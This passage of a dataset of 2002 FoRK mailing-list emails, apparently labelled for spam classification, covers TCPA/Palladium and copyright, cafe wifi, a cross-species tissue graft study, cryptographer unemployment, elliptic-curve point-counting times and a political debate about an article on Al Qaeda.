all. The problem of automatically capturing any object's look, adequately to uniquely identifying it later, is still open research. _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com http://xent.com/mailman/listinfo/fork",0,1 """Faisal N. Jawdat"" ",fork@spamassassin.taint.org,"Wed, 14 Aug 2002 02:13:53 -0700",Re: TCPA and Palladium: Content Control for the Masses,"> The most significant problem with TCPA and Palladium is not > whether they may interfere with the power of the universal > logic device, or whether they are effectual from the > standpoint of privacy and security concerns, though these > are all very important concerns. Rather, the fundamental > problem they present is in the political premises that they > hope to implement for the sake of the ""content industries."" I've been thinking about this sort of thing lately, and how the technological realization of these issues is one that enforces *absolute* control of content, where the original legal strictures (copyright) only enforced a limited time limited right to content. What I'm wondering is this: if you give people absolute control of copyright, whose works will be around in 100 years? Because I'm starting to think that the content creator who wants to produce for posterity had better do it in such a way that the content is *not* ""protected"", or the content will be inaccessible to people in 15 years, much less 100. This of course assumes that the content control mechanisms aren't so pervasive that one *cannot* create content without going through controlled channels. -faisal http://xent.com/mailman/listinfo/fork",0,1 Seth Johnson ,fork@spamassassin.taint.org,"Wed, 14 Aug 2002 04:31:22 -0400",TCPA and Palladium: Content Control for the Masses,"TCPA and Palladium: Content Control for the Masses While security experts poke and jab at what bits and pieces of the TCPA and Palladium specs they can get ahold of, they have tended to focus on how they work and what they imply as far as concerns such as privacy and security go, or alternatively, in terms of how they would impact the functionality of the general purpose logic device. Analysts both favorable and unfavorable have been analyzing them from these standpoints, while paying much less attention to what the proposals imply from the standpoint of what content control itself really means. The most significant problem with TCPA and Palladium is not whether they may interfere with the power of the universal logic device, or whether they are effectual from the standpoint of privacy and security concerns, though these are all very important concerns. Rather, the fundamental problem they present is in the political premises that they hope to implement for the sake of the ""content industries."" TCPA and Palladium are the technological realization of the concepts embodied in the WIPO Performances and Phonograms Treaty (WPPT), which only came into effect this past May 20th (with little public notice or fanfare, of course). The WPPT declares an unprecedented ""moral right"" of authors to control public uses of their works. *That's* the real game plan. TCPA and Palladium are simply content control for the masses. They constitute an effort to ""democratize"" content control under the concept of ""moral rights,"" encouraging the public to overlook the clear public interest issues raised by the specter of content control, and to confuse these issues with private interest issues such as privacy and security. They are an effort to get the public to jump on the bandwagon without adequate consideration of what's really on the line. In America, we have never supported the concept of ""moral rights"" which the WPPT professes. The US Constitution accords Congress the power to grant (or deny) exclusive rights to works and inventions for the purpose of promoting the progress of the useful arts and sciences, not for the purpose of rewarding the originality of creators -- though that result is obviously a consequence of exclusive rights statutes such as copyright law. Our Supreme Court explicitly articulates this distinction, and for very good reason. In America, we implicitly understand the distinction between expression, the aspect of works to which copyright statute applies, and the facts and ideas that make up a work, to which it does *not* apply. The reason for this is essential and unavoidable, and must be stated clearly and unequivocally at this juncture: information is free. It's not that it *wants* to be -- it *is* and it always has been. This fact is unassailable, however, unless we let come to pass a world that subscribes to ""universal content control"" for the sake of so-called ""moral rights"" implemented at the behest of narrow content industry interests. TCPA and Palladium are initiatives that hope to encourage the general public, and more specifically producers of information products in general, to identify content control with ""moral rights,"" blithely overlooking the real implications of information technology in a free society, and the long tradition of American jurisprudence upholding the freedom intrinsic to information, a freedom on which the prospects of information technology crucially depend. Seth Johnson -- [CC] Counter-copyright: http://cyber.law.harvard.edu/cc/cc.html I reserve no rights restricting copying, modification or distribution of this incidentally recorded communication. Original authorship should be attributed reasonably, but only so far as such an expectation might hold for usual practice in ordinary social discourse to which one holds no claim of exclusive rights. http://xent.com/mailman/listinfo/fork",0,1 Antoun Nabhan ,fork@spamassassin.taint.org,"Thu, 15 Aug 2002 10:50:13 -0700",So what's a species again?,"--=====================_4805122==_.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed Well, all the transhumanists should be very interested in this one: >Cross-species testes transplant successful >19:00 14 August 02 NewScientist.com news service >Testis tissue from goats and pigs has been grafted onto the backs of mice >and shown to produce normal sperm, capable of fertilising eggs. >It is the first time testis tissue from such distant species has produced >mature sperm when grafted in mice. ""It might work for primates or even >humans,"" claims Ina Dobrinski of the University of Pennsylvania, one of >the co-authors of the study. >If so, the technique could be used to preserve the reproductive potential >of male cancer patients about to undergo therapies that would destroy >their ability to make sperm. >Men often freeze sperm samples before receiving chemotherapy, but young >boys cannot do this because they do not produce mature sperm. If it works >in humans, the technique would allow testis tissue grafted from boys to >mature and produce sperm. > >Infectious particles >The mouse grafting technique also has an advantage over another option for >preserving fertility - testicular transplants. These involve re-implanting >preserved germ cells into the testes after cancer remission. >But the grafting approach ""would eliminate any possibility of passing >cancer cells back to the patient,"" says reproductive biologist Michael >Griswold from Washington State University. >However, it is possible that the grafting procedure could introduce >mouse-derived infectious particles into human embryos, making some >scientists wary of the idea. ""I would very much hesitate to say that it's >something we should be doing,"" says reproductive biologist Roger Gosden of >the East Virginia Medical School. > >Castrated mice >In the study, Dobrinski and colleagues placed small pieces of testis >tissue from newborn goats or pigs just under the skin on the backs of >castrated mice. Two to four weeks later, they found that more than half of >the 477 grafts had survived and were producing normal-looking goat or pig >sperm. >When they injected the graft-derived sperm directly into eggs they saw >clear signs of fertilisation, indicating that the sperm function normally. >The researchers also found that the procedure worked just as well with >testis tissue that had been refrigerated for two days or frozen for >several weeks. >Gosden has tried transplanting human testes tissue into mice, but was not >successful. However, Dobrinski believes the technique could soon be used >to preserve the germ lines of endangered species, including rare animals >that usually die in captivity before reaching sexual maturity. ""We think >that's a very real application,"" she says. >She adds that mice with human testis tissue grafts would also be useful to >scientists who want to test the effects of toxic substances and new >contraceptives on human sperm production. >Journal reference: Nature (vol 418, p 778) >Robin Orwant --=====================_4805122==_.ALT Content-Type: text/html; charset=""us-ascii"" Well, all the transhumanists should be very interested in this one: Cross-species testes transplant successful 19:00 14 August 02 NewScientist.com news service Testis tissue from goats and pigs has been grafted onto the backs of mice and shown to produce normal sperm, capable of fertilising eggs. It is the first time testis tissue from such distant species has produced mature sperm when grafted in mice. ""It might work for primates or even humans,"" claims Ina Dobrinski of the University of Pennsylvania, one of the co-authors of the study. If so, the technique could be used to preserve the reproductive potential of male cancer patients about to undergo therapies that would destroy their ability to make sperm. Men often freeze sperm samples before receiving chemotherapy, but young boys cannot do this because they do not produce mature sperm. If it works in humans, the technique would allow testis tissue grafted from boys to mature and produce sperm. Infectious particles The mouse grafting technique also has an advantage over another option for preserving fertility - testicular transplants. These involve re-implanting preserved germ cells into the testes after cancer remission. But the grafting approach ""would eliminate any possibility of passing cancer cells back to the patient,"" says reproductive biologist Michael Griswold from Washington State University. However, it is possible that the grafting procedure could introduce mouse-derived infectious particles into human embryos, making some scientists wary of the idea. ""I would very much hesitate to say that it's something we should be doing,"" says reproductive biologist Roger Gosden of the East Virginia Medical School. Castrated mice In the study, Dobrinski and colleagues placed small pieces of testis tissue from newborn goats or pigs just under the skin on the backs of castrated mice. Two to four weeks later, they found that more than half of the 477 grafts had survived and were producing normal-looking goat or pig sperm. When they injected the graft-derived sperm directly into eggs they saw clear signs of fertilisation, indicating that the sperm function normally. The researchers also found that the procedure worked just as well with testis tissue that had been refrigerated for two days or frozen for several weeks. Gosden has tried transplanting human testes tissue into mice, but was not successful. However, Dobrinski believes the technique could soon be used to preserve the germ lines of endangered species, including rare animals that usually die in captivity before reaching sexual maturity. ""We think that's a very real application,"" she says. She adds that mice with human testis tissue grafts would also be useful to scientists who want to test the effects of toxic substances and new contraceptives on human sperm production. Journal reference: Nature (vol 418, p 778) Robin Orwant --=====================_4805122==_.ALT-- http://xent.com/mailman/listinfo/fork",0,1 Jesse ,fork@spamassassin.taint.org,"Thu, 15 Aug 2002 16:38:06 -0400",It's a small world,"Strata just walked up to me in a cafe in Somerville, MA and asked me how I was getting net here. And _then_ we figured out that we have shared context. Jesse -- jesse reed vincent -- root@eruditorum.org -- jesse@fsck.com 70EBAC90: 2A07 FC22 7DB4 42C1 9D71 0108 41A3 3FB3 70EB AC90 I have images of Marc in well worn combat fatigues, covered in mud, sweat and blood, knife in one hand and PSION int he other, being restrained by several other people, screaming ""Let me at it! Just let me at it!"" Eichin standing calmly by with something automated, milspec, and likely recoilless. -monty on opensource peer review http://xent.com/mailman/listinfo/fork",0,1 Luis Villa ,fork@spamassassin.taint.org,15 Aug 2002 16:51:07 -0400,Re: It's a small world,"On Thu, 2002-08-15 at 16:38, Jesse wrote: > Strata just walked up to me in a cafe in Somerville, MA and > asked me how I was getting net here. And _then_ we figured out > that we have shared context. The obvious followup is 'there's a cafe in somerville with net access?' Luis [19 Pitman St.] http://xent.com/mailman/listinfo/fork",0,1 Elias Sinderson ,fork@spamassassin.taint.org,"Thu, 15 Aug 2002 14:00:51 -0700",Re: It's a small world,"Or even ""When did Somerville get the internet?"" ;-) E Luis Villa wrote: >On Thu, 2002-08-15 at 16:38, Jesse wrote: > >>Strata just walked up to me in a cafe in Somerville, MA and >>asked me how I was getting net here. And _then_ we figured out >>that we have shared context. >> > >The obvious followup is 'there's a cafe in somerville with net access?' >Luis [19 Pitman St.] >http://xent.com/mailman/listinfo/fork > http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ",,"Thu, 15 Aug 2002 14:09:26 -0700",RE: It's a small world,"There was internet in Arleigh Beach Australia (see one end of town from the other) 6 years ago. That is when I figured the Internet was truly global ... > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Elias > Sinderson > Sent: Thursday, August 15, 2002 2:01 PM > To: fork@spamassassin.taint.org > Subject: Re: It's a small world > > Or even ""When did Somerville get the internet?"" ;-) > > E > > Luis Villa wrote: > > >On Thu, 2002-08-15 at 16:38, Jesse wrote: > > > >>Strata just walked up to me in a cafe in Somerville, MA and > >>asked me how I was getting net here. And _then_ we figured out > >>that we have shared context. > >> > > > >The obvious followup is 'there's a cafe in somerville with net access?' > >Luis [19 Pitman St.] > >http://xent.com/mailman/listinfo/fork > > > > > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 Jesse ,Luis Villa ,"Thu, 15 Aug 2002 17:35:04 -0400",Re: It's a small world,"Short version: T-Mobile Broadband is in the process of wiring every starbucks in the area (T1 backhauled to some ~local POP + 802.11) as part of what I'm told is a national rollout. The Diesel is close enough to the Elm St starbucks for me to get reasonable net throughout most of the cafe. The rumor is that they'll be announcing that they've got boston covered on the 21st. I've heard from at least one source that they're actually going to announce a much wider national rollout at that time. It's not cheap [1], but for soemone like me who's running a ~virtual corporation, it's well worth it. [1] https://accounts.tmobilebroadband.com/net_offers_promos.htm On Thu, Aug 15, 2002 at 04:51:07PM -0400, Luis Villa wrote: > On Thu, 2002-08-15 at 16:38, Jesse wrote: > > Strata just walked up to me in a cafe in Somerville, MA and > > asked me how I was getting net here. And _then_ we figured out > > that we have shared context. > > The obvious followup is 'there's a cafe in somerville with net access?' > Luis [19 Pitman St.] > http://xent.com/mailman/listinfo/fork > -- jesse reed vincent -- root@eruditorum.org -- jesse@fsck.com 70EBAC90: 2A07 FC22 7DB4 42C1 9D71 0108 41A3 3FB3 70EB AC90 autoconf is your friend until it mysteriously stops working, at which point it is a snarling wolverine attached to your genitals by its teeth (that said, it's better than most of the alternatives) -- Nathan Mehl http://xent.com/mailman/listinfo/fork",0,1 Luis Villa ,Jesse ,15 Aug 2002 17:46:55 -0400,Re: It's a small world,"On Thu, 2002-08-15 at 17:35, Jesse wrote: > Short version: > T-Mobile Broadband is in the process of wiring every starbucks in the area > (T1 backhauled to some ~local POP + 802.11) as part of what I'm told is a > national rollout. The Diesel is close enough to the Elm St starbucks for me > to get reasonable net throughout most of the cafe. > > The rumor is that they'll be announcing that they've got boston covered on > the 21st. I've heard from at least one source that they're actually going > to announce a much wider national rollout at that time. It's not cheap [1], but > for soemone like me who's running a ~virtual corporation, it's well worth it. > > [1] https://accounts.tmobilebroadband.com/net_offers_promos.htm Very nice. Not sure it's worthwhile to pay for that when I'm already paying for cable modem at home, but... still nice to know I have the option. FWIW, slummerville actually has the internet- not just broadband, but actual broadband competition, which I gather is rare. I had ADSL and two cable options when I moved in. Luis http://xent.com/mailman/listinfo/fork",0,1 Jesse ,Luis Villa ,"Thu, 15 Aug 2002 17:53:08 -0400",Re: It's a small world,"On Thu, Aug 15, 2002 at 05:46:55PM -0400, Luis Villa wrote: > FWIW, slummerville actually has the internet- not just broadband, but > actual broadband competition, which I gather is rare. I had ADSL and two > cable options when I moved in. Did you actually attempt to order the DSL? Large chunks of somerville have advertised DSL service that can't actually be obtained. Excuses vary, from ""no available copper"" to ""full DSLAM"", but the folks I know who've wanted DSL around here have all failed, ending up either with ATTBB, RCN or an honest-to-god T1. -j > > Luis > -- jesse reed vincent -- root@eruditorum.org -- jesse@fsck.com 70EBAC90: 2A07 FC22 7DB4 42C1 9D71 0108 41A3 3FB3 70EB AC90 This is scary. I'm imagining tracerouting you and seeing links like ""Route 84"" and ""Route 9, Exit 14"". Obviously, this is illness induced. --Cana McCoy http://xent.com/mailman/listinfo/fork",0,1 Luis Villa ,Jesse ,15 Aug 2002 18:01:06 -0400,Re: It's a small world,"On Thu, 2002-08-15 at 17:53, Jesse wrote: > > On Thu, Aug 15, 2002 at 05:46:55PM -0400, Luis Villa wrote: > > FWIW, slummerville actually has the internet- not just broadband, but > > actual broadband competition, which I gather is rare. I had ADSL and two > > cable options when I moved in. > > > Did you actually attempt to order the DSL? Large chunks of somerville have > advertised DSL service that can't actually be obtained. Excuses vary, from > ""no available copper"" to ""full DSLAM"", but the folks I know who've wanted > DSL around here have all failed, ending up either with ATTBB, RCN or an > honest-to-god T1. No. My past experiences with DSL have generally been miserable so I went with at&t digital cable[1] + cable modem. Still, even the hypothetical option was a lot better than what I had in the theoretically tech-friendly Triangle in NC. Luis [1]sports junkie http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ",,"Thu, 15 Aug 2002 19:36:57 -0700 (PDT)",Food bits,"OK, this site rocks... http://www.nal.usda.gov/fnic/foodcomp/Data/SR15/sr15.html You are what you eat :) - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 Tom ,"""Adam L. Beberg"" ","Thu, 15 Aug 2002 23:08:19 -0400 (EDT)",Re: Food bits,"On Thu, 15 Aug 2002, Adam L. Beberg wrote: --]You are what you eat :) Thus we are what Alton Brown tells us we are. Food Heat BROWN all praises and braises. -tom http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,forkit! ,"Fri, 16 Aug 2002 12:15:34 +0200 (CEST)",employment market for applied cryptographers? (fwd),"-- -- Eugen* Leitl leitl ______________________________________________________________ ICBMTO: N48 04'14.8'' E11 36'41.2'' http://eugen.leitl.org 83E5CA02: EDE4 7193 0833 A96B 07A7 1A88 AA58 0E89 83E5 CA02 ---------- Forwarded message ---------- Date: Fri, 16 Aug 2002 02:23:05 +0100 From: Adam Back To: Cryptography Cc: Cypherpunks , Adam Back Subject: employment market for applied cryptographers? On the employment situation... it seems that a lot of applied cryptographers are currently unemployed (Tim Dierks, Joseph, a few ex-colleagues, and friends who asked if I had any leads, the spate of recent ""security consultant"" .sigs, plus I heard that a straw poll of attenders at the codecon conference earlier this year showed close to 50% out of work). Are there any more definitive security industry stats? Are applied crypto people suffering higher rates of unemployment than general application programmers? (From my statistically too small sample of acquaintances it might appear so.) If this is so, why is it? - you might think the physical security push following the world political instability worries following Sep 11th would be accompanied by a corresponding information security push -- jittery companies improving their disaster recovery and to a lesser extent info sec plans. - governments are still harping on the info-war hype, national information infrastructure protection, and the US Information Security Czar Clarke making grandiose pronouncements about how industry ought to do various things (that the USG spent the last 10 years doing it's best to frustrate industry from doing with it's dumb export laws) - even Microsoft has decided to make a play of cleaning up it's security act (you'd wonder if this was in fact a cover for Palladium which I think is likely a big play for them in terms of future control points and (anti-)competitive strategy -- as well as obviously a play for the home entertainment system space with DRM) However these reasons are perhaps more than cancelled by: - dot-com bubble (though I saw some news reports earlier that though there is lots of churn in programmers in general, that long term unemployment rates were not that elevated in general) - perhaps security infrastructure and software upgrades are the first things to be canned when cash runs short? - software security related contract employees laid off ahead of full-timers? Certainly contracting seems to be flat in general, and especially in crypto software contracts look few and far between. At least in the UK some security people are employed in that way (not familiar with north america). - PKI seems to have fizzled compared to earlier exaggerated expectations, presumably lots of applied crypto jobs went at PKI companies downsizing. (If you ask me over use of ASN.1 and adoption of broken over complex and ill-defined ITU standards X.500, X.509 delayed deployment schedules by order of magnitude over what was strictly necessary and contributed to interoperability problems and I think significantly to the flop of PKI -- if it's that hard because of the broken tech, people will just do something else.) - custom crypto and security related software development is perhaps weighted towards dot-coms that just crashed. - big one probably: lack of measurability of security -- developers with no to limited crypto know-how are probably doing (and bodging) most of the crypto development that gets done in general, certainly contributing to the crappy state of crypto in software. So probably failure to realise this issue or perhaps just not caring, or lack of financial incentives to care on the part of software developers. Microsoft is really good at this one. The number of times they re-used RC4 keys in different protocols is amazing! Other explanations? Statistics? Sample-of-one stories? Adam -- yes, still employed in sofware security industry; and in addition have been doing crypto consulting since 97 (http://www.cypherspace.net/) if you have any interesting applied crypto projects; reference commissions paid. http://xent.com/mailman/listinfo/fork",0,1 """Nalin nal.sav Savara"" ",,"Fri, 16 Aug 2002 20:16:50 +0530",inspiring article by Howard Jonas who founded IDT,"This is a multi-part message in MIME format. ------=_NextPart_000_0072_01C24561.DAA02DB0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi People, I'm rejoining Fork after a long hiatus, and inspired by the kinds of = stuff Rohit and Adam used to post once upon a time... here's a little = something that's damn inspiring... Nalin http://www.howardsbook.com/ch01/01.html Chapter One One Finger for Onions=20 On March 15, 1996, I made over a hundred million dollars. That was the = day my company, IDT, one of the world's largest Internet and alternative = telecommunications providers, went public. As IDT's founder, president, = and majority shareholder, I was instantly rich beyond my wildest dreams. = People ask me if this was the greatest moment in my business life. It = wasn't. Four months later, on July 18, 1996, we released a new technology, a = breakthrough that would eventually cut the cost of international calls = by a remarkable 95 percent. That day Sara Grosvenor, the = great-granddaughter of Alexander Graham Bell, joined us in New York to = use our new technology in order to place the first phone call ever over = the network to Susan Cheever, the great-granddaughter of Thomas Watson, = in London. Within twenty-four hours of Ms. Grosvenor saying ""Come here, Ms. Watson, = I need to see you"" over our system, CNN, CNBC, and newspapers had spread = word of the development to investors and potential users and partners = around the world. Combined with a more than fivefold increase in our = quarterly revenues for the second year in a row, IDT's stock price = started to move upward again. Many people who saw me glowing that = morning asked if this was the greatest moment of my business life. It = wasn't. The greatest moment actually occurred approximately twenty-seven years = earlier on the morning of July 23, 1970. That was the morning I pushed = my newly built hot dog stand past Joe and Vinny's butcher shop on = Eastchester Road in the Bronx. Only two months before, Joe had driven me = from my after-school job in the butcher shop by forcing me to eat five = pounds of rice pudding (a task that took me close to two hours) after = catching me sampling the pudding while I waited on a customer at the = deli counter. I couldn't resist stopping in front of the butcher shop on my way to the = spot I'd picked out three-quarters of a mile away to set up my stand. As = Joe, Vinny, and Joe's nephew, Patsy, came out to see the new stand, I = was gloating over the fact that I was now just as independent in = business as they were. Nobody could make me clean out the rotten chicken = tank anymore. Nobody could send me five miles away on the delivery bike = in the snow to deliver ribs to a rich finicky lady who would just send = them back to be trimmed, and never tipped more than a quarter. Nobody = could make me lay in the sawdust and dig ground-up bones, blood, and fat = out of the meat band saw. And, most importantly, nobody could do all = this while poking fun at what a jerk I was to get all the dirty jobs. I = was only fourteen years old, and the wheels would fall off my homemade = hot dog stand many times before that summer ended, but that day, in my = mind, I was as rich as a Rockefeller. ------=_NextPart_000_0072_01C24561.DAA02DB0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi People, I'm rejoining Fork after a long hiatus, = and=20 inspired by the kinds of stuff Rohit and Adam used to post once upon a = time...=20 here's a little something that's damn inspiring...   Nalin   http://www.howardsbook.c= om/ch01/01.html   Chapter = OneOne Finger for=20 Onions On March 15, 1996, I made over a hundred million = dollars. That=20 was the day my company, IDT, one of the world’s largest Internet = and alternative=20 telecommunications providers, went public. As IDT’s founder, = president, and=20 majority shareholder, I was instantly rich beyond my wildest dreams. = People ask=20 me if this was the greatest moment in my business life. It = wasn’t. Four months later, on July 18, 1996, we released a new = technology, a breakthrough that would eventually cut the cost of = international=20 calls by a remarkable 95 percent. That day Sara Grosvenor, the=20 great-granddaughter of Alexander Graham Bell, joined us in New York to = use our=20 new technology in order to place the first phone call ever over the = network to=20 Susan Cheever, the great-granddaughter of Thomas Watson, in = London. Within twenty-four hours of Ms. Grosvenor saying = “Come here, Ms.=20 Watson, I need to see you” over our system, CNN, CNBC, and = newspapers had spread=20 word of the development to investors and potential users and partners = around the=20 world. Combined with a more than fivefold increase in our quarterly = revenues for=20 the second year in a row, IDT’s stock price started to move upward = again. Many=20 people who saw me glowing that morning asked if this was the greatest = moment of=20 my business life. It wasn’t. The greatest moment actually occurred approximately = twenty-seven=20 years earlier on the morning of July 23, 1970. That was the morning I = pushed my=20 newly built hot dog stand past Joe and Vinny’s butcher shop on = Eastchester Road=20 in the Bronx. Only two months before, Joe had driven me from my = after-school job=20 in the butcher shop by forcing me to eat five pounds of rice pudding (a = task=20 that took me close to two hours) after catching me sampling the pudding = while I=20 waited on a customer at the deli counter. I couldn’t resist stopping in front of the = butcher shop on my=20 way to the spot I’d picked out three-quarters of a mile away to = set up my stand.=20 As Joe, Vinny, and Joe’s nephew, Patsy, came out to see the new = stand, I was=20 gloating over the fact that I was now just as independent in business as = they=20 were. Nobody could make me clean out the rotten chicken tank anymore. = Nobody=20 could send me five miles away on the delivery bike in the snow to = deliver ribs=20 to a rich finicky lady who would just send them back to be trimmed, and = never=20 tipped more than a quarter. Nobody could make me lay in the sawdust and = dig=20 ground-up bones, blood, and fat out of the meat band saw. And, most = importantly,=20 nobody could do all this while poking fun at what a jerk I was to get = all the=20 dirty jobs. I was only fourteen years old, and the wheels would fall off = my=20 homemade hot dog stand many times before that summer ended, but that = day, in my=20 mind, I was as rich as a Rockefeller. ------=_NextPart_000_0072_01C24561.DAA02DB0-- http://xent.com/mailman/listinfo/fork",0,1 """Gordon Mohr"" ",,"Fri, 16 Aug 2002 15:20:48 -0700","Re: Elliptic Curve Point Counting, made easy","Robert Harley writes: > Here are some numbers with the new algorithm for counting points on > elliptic curves (over fields of characteristic 2). > > In 1998, Reynald Lercier set a record at 1663 bits in 330 days of CPU > on 266 MHz Alphas. In 1999, Frederik Vercauteren set a record at 1999 > bits in 65 days of CPU on 400 MHz PCs. > > I've been working on the problem since then. These were measured just > now on Rajit's 750 MHz Alpha: > > 1009 bits: > Lift: 4.8 s + 0.64 s precomputation. > Norm: 2.6 s + 0.31 s precomputation. > > 1663 bits: > Lift: 18.5 s + 2.1 s precomputation. > Norm: 7.0 s + 1.9 s precomputation. > > 1999 bits: > Lift: 29.4 s + 3.6 s precomputation. > Norm: 16.6 s + 3.4 s precomputation. > > 15013 bits: > Lift: 1 h 39 m + 13 m precomputation > Norm: 39 m + 1 h 41 m precomputation Not knowing one whit about elliptic curve math, can you provide some expert interpretation of these results? It looks like the old record for, say, 199 bits, has been blown out of the water by a factor of ~100,000. Does this mean that Eliptic Curve encryption is now easily breakable? Or faster than before with no loss in strength? Or stronger? Raw bits are OK, cooked bits are better. - Gordon http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Fri, 16 Aug 2002 22:44:31 +0200 (CEST)","Elliptic Curve Point Counting, made easy","Here are some numbers with the new algorithm for counting points on elliptic curves (over fields of characteristic 2). In 1998, Reynald Lercier set a record at 1663 bits in 330 days of CPU on 266 MHz Alphas. In 1999, Frederik Vercauteren set a record at 1999 bits in 65 days of CPU on 400 MHz PCs. I've been working on the problem since then. These were measured just now on Rajit's 750 MHz Alpha: 1009 bits: Lift: 4.8 s + 0.64 s precomputation. Norm: 2.6 s + 0.31 s precomputation. 1663 bits: Lift: 18.5 s + 2.1 s precomputation. Norm: 7.0 s + 1.9 s precomputation. 1999 bits: Lift: 29.4 s + 3.6 s precomputation. Norm: 16.6 s + 3.4 s precomputation. 15013 bits: Lift: 1 h 39 m + 13 m precomputation Norm: 39 m + 1 h 41 m precomputation Bye, Rob. .-. Robert.Harley@argote.ch .-. / \ .-. Software Development .-. / \ / \ / \ .-. _ .-. / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / `-' `-' \ / \ / \ \ / `-' ArgoTech `-' \ / `-' http://argote.ch/ `-' http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,bitbitch@magnesium.net,17 Aug 2002 00:35:00 -0400,Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,"Wasn't the Aztec population that greeted Cortez already largely decimated by the microbiology brought over by DeSoto nearly a hundred years before? -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork@spamassassin.taint.org,17 Aug 2002 00:50:37 -0400,Re: Al'Qaeda's fantasy ideology: Policy Review no. 114,">>>>> ""b"" == bitbitch writes: b> My only problem with this article ... I know I'll get my share of flames for saying so, but my only problem with this article is that it is some of the scariest subtext hate-lit propaganda I've seen come out of the US since the March of Tears, and twice scarier that it is not seen as such. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 bitbitch@magnesium.net,Gary Lawrence Murphy ,"Sat, 17 Aug 2002 01:01:21 -0400",Re[2]: Al'Qaeda's fantasy ideology: Policy Review no. 114,"Hello Gary, Oh I don't know if I'd go to the point of 'hate lit' -- Its an interesting, albiet a bit troubling theory. Its not touchy-feely, nor liberal friendly, but I wouldn't necessary say hate lit. >>>>>> ""b"" == bitbitch writes: GLM> b> My only problem with this article ... GLM> I know I'll get my share of flames for saying so, but my only problem GLM> with this article is that it is some of the scariest subtext hate-lit GLM> propaganda I've seen come out of the US since the March of Tears, and GLM> twice scarier that it is not seen as such. -- Best regards, bitbitch mailto:bitbitch@magnesium.net http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork@spamassassin.taint.org,17 Aug 2002 01:51:25 -0400,Re: Re[2]: Al'Qaeda's fantasy ideology: Policy Review no. 114,">>>>> ""b"" == bitbitch writes: b> .. I wouldn't necessary say hate lit. Hate-lit rests on a premise that ""them"" are fundamentally different critters from ""us"" and thus, by being ""them-like"" they, as a classification, ""bring it on themselves"" for us to ""correct"" them by any means gruesome we might choose, after all, it's not /us/ pulling the trigger, it's ""them"", right? I've heard Bush say this (verbatim) more than once, and with a straight face. Call it gay-bashing or whatever, it's convenient tunnel-vision and lies to justify violence against a creature genetically, morally and intellectually indistinguishable from your sister. Go ahead, peel the skin off a random daughter of each of them and lay them side by side on the pavement, and you tell me which one was racially guilty, which one carried the ""infection"" the ""plague"" (note, not the ""antigen"" or the ""hormone"", which have similar metaphoric effects to philosophy, but they chose the fear-charged words) ""Make no mistake about it"" it oozes rhetorical vehicles to obfuscate it's lack of bits paragraph after paragraph in pushing an agenda to /excuse/ ""our"" violence and suspension of human rights to 'clense' ourselves of ""them"", the 'non-human' (or lesser-human) objects of its hate. What else shall we call it? Just anti-liberal? Better question: What if, as in physics, the laws of human behaviour are the same everywhere in the Universe? What if Al Queda is in fact more like our mafia or biker gangs or school board trustees? What if they operate by the same neural-annealing Maxima-Minima gratification mechanisms as you or I and every other creature on this planet? What if, instead of magically and uniquely alien, they are, just like our own captains and leaders, really only in it for the money, for trade rights-of-way and for power over minions who will foolishly make it all happen, minions whom they can once again dup with /virtually/ /identical/ rhetoric ... except we call theirs ""fundamentalist islam"", and they call ours ""imperialist satanism""? When both sides can call the other ""evil"" to the cheers of their local public and media, you can bet something's rotten in the state of Denmark. I guess that's why I live in the woods. Bears and racoons I understand, but I really just don't 'get' people. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 """Damien Morton"" ",,"Sat, 17 Aug 2002 02:56:27 -0400",=?us-ascii?Q?FW:_Re:_Al_Qaeda's_Fantasy_Ideology?=,"-----Original Message----- From: Damien Morton [mailto:damien.morton@acm.org] Sent: Saturday, 17 August 2002 02:55 To: 'polrev@hoover.stanford.edu' Subject: Re: Al Qaeda's Fantasy Ideology Youre right of course - the attack was performed for its effect on muslims, not for its effect on the US. By showing that it can be done, they inspire others to follow in their path, or so they hope. I take some objection to the belabouring of the term fantasy, because it is somewhat perjorative. Imagining different worlds can often lead the world to become more like that imagined. Moreso if action is taken on the basis of those imaginings. Theres an interesting parralel with the great capitalist dream that anyone can make anything happen through hard work and a bit of luck. This is equally a fantasy, but one made to approach reality through consensus. An interesting question then becomes, if Al Queda's actions are in furtherance of a fantasy, what fantasies are George Bush's actions in furtherace of? How many of the actions of George Bush and the US are performed for their effect on the US population? For example, how much showmanship has been put into rebuilding the morale of wall street. Is this not as much a spirtual investment as the sacrifices Al Queda made? What cultural myopia is in play here in the US? I make a point of reading Australian, Britsish and US news. Today I noticed that the Australian and British news are featuring the Iraqi overtures to the UN on inspectors, while US news is featuring Iraqi war preparations (digging bunkers etc). At a time that the US is withdrawing from international cooperation on multiple levels, the fantasy of being surrounded by enemies (invisible preferably) is somewhat appealing. A self fullfilling prophesy, if you like. Perhaps that's whats at work here. http://xent.com/mailman/listinfo/fork",0,1 Ned Jackson Lovely ,fork@spamassassin.taint.org,"Sat, 17 Aug 2002 03:06:01 -0400",Re: Re[2]: Al'Qaeda's fantasy ideology: Policy Review no. 114,"On Sat, Aug 17, 2002 at 01:51:25AM 